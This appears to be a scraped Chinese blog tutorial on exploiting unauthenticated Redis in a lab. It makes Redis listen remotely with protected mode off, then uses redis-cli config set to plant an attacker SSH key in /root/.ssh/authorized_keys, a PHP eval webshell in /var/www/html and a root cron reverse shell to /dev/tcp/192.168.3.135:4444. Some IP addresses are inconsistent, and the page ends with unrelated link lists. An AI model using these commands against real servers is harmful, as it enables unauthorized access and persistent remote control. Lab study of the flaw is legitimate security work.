Redis基础

1

Redis基础

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。
Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

1

1

实验漏洞环境搭建

模拟服务器centos7.5:192.168.3.134

模拟攻击机kali linux2020:192.168.3.135

两台主机均要安装ssh 这个百度一大堆不在赘述。

攻击机模拟机均安装Redis

之前试过编译安装太麻烦了 centos 和kali 直接yum 就完成了所有的安装

yum -y install redis

编辑redis配置文件

vim /etc/redis.conf
第一个修改的地方 bind 127.0.0.1 前面加上#注释掉 允许取出除本地外的主机远程登录redis服务。
如不过不注释的话会强制redis只监听IPv4本地地址 而其他地址就无法访问。

第二个要修改的地方是protected 将yes改为no 关闭保护模式,允许远程连接redis服务 

使用配置文件启动redis

redis-server /etc/redis.conf

linux免密码登陆SSH

1.原理

首先了解下SSH的登陆方式,在SSH中有两种登陆方式 一种是账户密码登陆 还有一种就是公私钥登陆

一种是基于账户密码的安全验证只要知道自己的账户和密码就可以登陆到远程主机,

另一种今天的主角 它是基于密钥的安全验证首先要创建一对密钥,并把公钥放在访问的服务器上。这时候如果你要连接到ssh服务器上客户端软件就会像服务端发出请求,请求使用你客户机的密钥进行安全验证。 服务器收到请求后,会立即在自己的机器上的当前要登陆的账户主目录下寻找公钥密钥,然后把它和你发送过来的公用密钥进行比较,如果一致,服务器就用公用密匙加密“质询”(challenge)并把它发送给客户端软件,客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。用这种方式,你必须知道自己密匙的口令。

redis未授权访问的原理是攻击机在可以未授权的情况下访问服务器B的Redis 将数据通过Redis通信传递到服务器B的用户家目录下的.ssh文件夹内 这样攻击机A发出ssh请求到服务器B就可以免密码验证啦。

在攻击机上创建/root/.sh 目录用于保存我们的公钥和私钥

mkdir /root/.sh

在/root/.sh目录下创建公私钥 密码设置为空 回车回车即可

会生成两个一个是私钥一个是公钥

ssh-keygen -t rsa

将公钥保存到key中

(echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > key.txt

通过redis将key写入到服务器中

 cat key.txt | redis-cli -h 192.168.3.134 -x set hack

连接目标主机的redis

redis-cli -h 192.168.10.153

设置redis的备份路径为/root/.ssh和保存文件名authorized_keys

config set dir /root/.ssh //设置redis的备份路径为/root/.ssh
config set dbfilename authorized_keys //设置上传公钥的备份文件名为autorized_keys

将数据保存

save

免密码登陆目标服务器

ssh 192.168.3.1

成功免密码登陆

通过Redis在web目录下写入webshell

Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)

redis-cli -h 192.168.3.134   //连接目标
config set dir /var/www/html //设置dir的目录
set xiaohua "\n\n\n<?php @eval($_POST['xiaohua']);?>\n\n\n" //将小马存入xiaohua中
config set dbfilename webshell.php //设置数据文件为webshell.php
save //保存

成功被写入

利用linux定时任务反弹shell

redis-cli -h 192.168.3.134
CONFIG SET dir /var/spool/cron //切换到定时任务目录
CONFIG SET dbfilename root //生成一个root文件
set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.3.135/4444 0>&1\n\n" //设置反弹shell
save //保存

Redis基础

1

1

Redis基础

1

1

Redis基础

1

1

Redis的一些攻击手法整理的更多相关文章

  1. 360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法

    360在线网站安全检测,web安全测试AppScan扫描工具,XSS常用的攻击手法 如何做好网站的安全性测试 360网站安全检测 - 在线安全检测,网站漏洞修复,网站后门检测http://websca ...

  2. 【转载】Redis 4.0 自动内存碎片整理(Active Defrag)源码分析

    click原文链接原文链接:https://blog.csdn.net/zouhuajianclever/article/details/90669409阅读本文前建议先阅读此篇博客: Redis源码 ...

  3. Redis配置及攻击利用

    Redis配置及攻击利用 Redis及其安全配置 Redis介绍 redis默认会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 ...

  4. Java 7爆最新漏洞,10年前的攻击手法仍有效

    英文原文:New Reflection API affected by a known 10+ years old attack 据 SECLISTS 透露,他们发现新的 Reflection API ...

  5. Redis面试题及答案整理

    1.什么是Redis?简述它的优缺点? Redis的全称是:Remote Dictionary.Server,本质上是一个Key-Value类型的内存数据库,很像memcached,整个数据库统统加载 ...

  6. 50道Redis面试题及答案整理,史上最全!

    在网上看到有关Redis的50道面试题,但是没有给出答案,之前我也在寻找这份Redis面试题的答案,今天特地把答案分享出来. 花了大量时间整理了这套Redis面试题及答案,希望对大家有帮助哈~ 弄明白 ...

  7. 应用安全-Web安全-XSS(跨站攻击)攻防整理

    分类 反射型 存储型 DOM型 XSF(Flash XSS) PDFXSS MHTML协议跨站(MHTML,data) 字符编码(UTF-7 XSS) 富文本编辑器测试 - 输入框 <img S ...

  8. python连接MySQL/redis/mongoDB数据库的简单整理

    python连接mysql 用python操作mysql,你必须知道pymysql 代码示意: import pymysql conn = pymysql.connect(host='127.0.0. ...

  9. Redis利用,攻击内网(ssrf)

    Redis语法 REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统. Redis是一个开源的使用ANSI C ...

随机推荐

  1. ASP.NET实现进度条效果【转】

     原文地址:http://www.jb51.net/article/115310.htm 这篇文章主要为大家详细介绍了ASP.NET实现简单的进度条效果,具有一定的参考价值,感兴趣的小伙伴们可以参考一 ...

  2. Java 8新特性--Stream API

    Java 8 API添加了一个新的抽象称为流Stream,以一种声明的方式处理数据,可以极大提高程序员的生产力,写出高效.干净.简洁的代码.这种风格将要处理的元素集合看作一种流,流在管道中传输,并且可 ...

  3. 对于app监测root权限或者强制升级

    只做分享学习 以下方法对于大多数Root检测的App (不限于仅银行类App),均适用. 另,"主用户 + Island用户" 情况下: 如果App仅安装在 Island下,当绕不 ...

  4. 阿里云ECS磁盘扩容不生效处理办法

    原因 阿里云ECS云盘扩容后,在Linux服务器上没有生效 实际需要几条命令扩容才能正式生效. 处理方法 先看扩容前磁盘空间,/dev/vda1可以看到只有40G. # df -Th Filesyst ...

  5. origin把点图和线图放在一起

    首先分别做好点图和线图在两个graph中,然后选中其中一副图(点图或者线图),然后按下图选择: 如果有多个图,可以在弹出窗口中选择多个sheet.

  6. vue-cli2.0创建项目步骤

    Vue是近两年来比较火的一个前端框架(渐进式框架吧),与reactjs和angularjs三国鼎立,我不是职业前端,做过Vue,了解了一下React,听说过Angluar.我只能这么说,我来晚了,没经 ...

  7. JavaScript 正则表达式:字符串中查找数字

    以下代码是在一段字符串中,用正则表达式找到数字,使用 replace() 方法,用找到的数字的两倍值替换原数字.replace() 方法的第二个参数为一个函数,返回找到数字的两倍值. <scri ...

  8. java关键字之super

    1.在子类的构造方法的第一条语句处调用其父类的构造方法: 如果父类提供了构造方法,并且父类不拥有无参构造方法,则要求子类拥有相同结构的构造方法.即,子类构造方法的参数个数和类型必须和父类的构造方法一致 ...

  9. 微信小程序日历签到

    近日做了一个项目需要用到日历插件,在网上找了一部分感觉跟项目不对口,所以就查考了其他的日历插件做了一个. 需求: 如图: 代码如下: index.wxml: <!--pages/pictrues ...

  10. 分享JDK解压版(ZIP)

    目录 由于安装版本的jdk不太方便,所以我分享一下如何去获取解压版的jdk,jdk配置的话看这个文章 一.先下载exe版本的jdk安装程序: 二.使用7-ZIP解压工具 2.1 JDK8的解压目录 2 ...